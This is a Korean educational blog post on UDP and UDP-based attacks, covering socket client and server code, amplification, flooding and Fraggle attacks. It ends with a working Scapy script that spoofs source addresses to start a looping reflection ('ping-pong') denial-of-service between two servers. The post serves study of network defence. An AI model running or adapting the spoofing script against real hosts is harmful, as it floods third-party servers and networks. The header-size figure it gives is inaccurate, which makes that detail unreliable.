Network Security - UDP & Attacks

조성열·2025년 7월 25일

Network Security

목록 보기
10/10
post-thumbnail
이번 포스트에선 UDP와 관련된 공격들에 대해 알아보도록 하겠습니다.

1. Transport Layer

Transport Layer는 OSI 7계층 모델에서 응용 프로그램에 종단 간 통신 서비스를 제공하는 역할을 합니다.
우리가 다른 호스트 또는 서버와 통신할 때 IP 주소는 해당 기기의 주소라고 생각할 수 있고, Port Number는 해당 머신 안에 있는 어플리케이션 주소라고 생각할 수 있습니다.

Transport Layer Protocol에는 TCP와 UDP가 있습니다. TCP는 신뢰성, UDP는 비신뢰성 통신으로 Packet을 보낼 때 목적지까지 온전히 잘 도착하는 것을 보장하냐 보장하지 않냐에 차이가 있습니다.


2. UDP

UDP Header의 구성입니다. 크기는 32bit(4byte) 출발지, 도착지 포트번호와 데이터 등으로 구성됩니다.

import socket

IP = "10.0.2.7"
PORT = 9090
data = b'Hello, World!'

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(data, (IP, PORT))

간단한 UDP Client Program입니다. socket.AF_INET는 IPv4 방식을 사용하겠다는 뜻이고, socket.SOCK_DGRAM은 DataGram 방식 즉, UDP를 사용하여 패킷을 전송하겠다는 의미를 가집니다.

import socket

IP = "0.0.0.0"
PORT = 9090

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind((IP, PORT))

while True:
	data, (ip, port) = sock.recvfrom(1024)
	print("Sender: {} and Port: {}".format(ip, port))
	print("Received message: {}".format(data))

간단한 UDP Server Program입니다. sock.bind((IP, PORT))를 통해 해당 주소로 들어오는 packet을 listen합니다. UDP는 연결을 유지하지 않으므로, 매번 패킷마다 누가 보냈는지를 recvfrom() 호출을 통해 확인합니다.
참고로 UDP Application에는 DNS Protocol, Video 스트리밍, 실시간 어플리케이션, VPN 터널 등이 있습니다.
Zoom같은 화상회의는 실시간성이 매우 중요하기 때문에 TCP가 아닌 UDP를 사용합니다.

QUIC

UDP 기반에 다중 전송 및 보안 기능을 제공합니다. QUIC는 TCP를 대체하도록 설계되어 웹 성능 향상, 빠른 연결 설정, 향상된 보안을 목표로 합니다.


3. UDP Attacks

UDP는 연결 설정 없이 패킷만 날릴 수 있기 때문에, 대량 전송 시 상대 서버·네트워크를 마비시키기 쉽습니다.
“간단한 공격 → 더 많은 폭발력”을 만드는 데 초점을 맞춥니다.

3.1 Turn One Grenade into Many

공격자가 작은 UDP 요청을 증폭기 (오픈 DNS·NTP 서버 등)에 보내면, 증폭기는 요청보다 훨씬 큰 응답을 피해자(목표 IP)로 집중 발사합니다.
대표적으로 UDP Flooding Attack, Fraggle Attack이 있습니다.
UDP Flooding 공격은 빠르게 패킷을 생성 및 전송이 가능한 UDP의 성질을 악용하여, 다수의 가짜 IP주소와 포트번호가 담긴 패킷을 대상 시스템에 보내 과부하 시키는 DoS 공격의 일종입니다.
Fraggle Attack은 Smurf Attack과 방식이 동일하지만 ICMP가 아닌 UDP를 사용한다는 점만 다릅니다.

3.2 Create Regenerable Grenade

단발성 전송이 아니라 “반사(reflection)”를 이용해 스스로 되살아나는(재생성되는) 공격 수단을 만듭니다.
예를 들어, 공격자가 피해자 IP를 스푸핑해 에코(echo) 서비스나 특정 UDP 포트를 건드리면, 피해자로부터 다시 증폭기(또는 다른 반사 대상)로 요청이 돌아가고, 또다시 피해자에게 응답이 돌아오는 반복 루프 형성
결과적으로 공격자는 계속해서 패킷을 “재생산”할 수 있습니다.

from scapy.all import IP, UDP, send
import time

# (1) 반사 서버 주소
reflector_a = "192.0.2.10"
reflector_b = "192.0.2.20"

# (2) 사용할 포트
PORT = 19
PAYLOAD = b"pingpong"

# (3) A → B 위조 패킷: 서버 A에 보내지만, 'src'는 B로 위조
pkt_ab = IP(src=reflector_b, dst=reflector_a) / UDP(sport=PORT, dport=PORT) / PAYLOAD

# (4) B → A 위조 패킷: 서버 B에 보내지만, 'src'는 A로 위조
pkt_ba = IP(src=reflector_a, dst=reflector_b) / UDP(sport=PORT, dport=PORT) / PAYLOAD

print(f"[+] Starting UDP ping-pong attack between {reflector_a} and {reflector_b}")
try:
    while True:
        send(pkt_ab, verbose=False)  # A→B 위조
        send(pkt_ba, verbose=False)  # B→A 위조
        time.sleep(0.01)             # 과도한 CPU 사용 방지용 짧은 대기
except KeyboardInterrupt:
    print("\n[!] Stopped by user")

UDP Ping Pong Attack 예시 코드입니다.
src에 반사 상대 주소를 위조해 설정하고, 양쪽 서버가 기본적으로 응답을 보내는 같은 포트를 사용합니다.
최초 두 개의 위조 패킷만 보내도 서버 A, B가 서로에게 응답을 주고받으면서 트래픽이 폭증하게 됩니다.
time.sleep()으로 너무 빠른 루프를 약간 제어하지만, 실제 공격에서는 생략하거나 더욱 촘촘히 보낼 수 있습니다.


지금까지 UDP와 관련 공격에 대해 알아봤습니다. 다음 포스트에선 TCP와 관련 공격에 대해 알아보도록 하겠습니다.

profile
Blue Team

0개의 댓글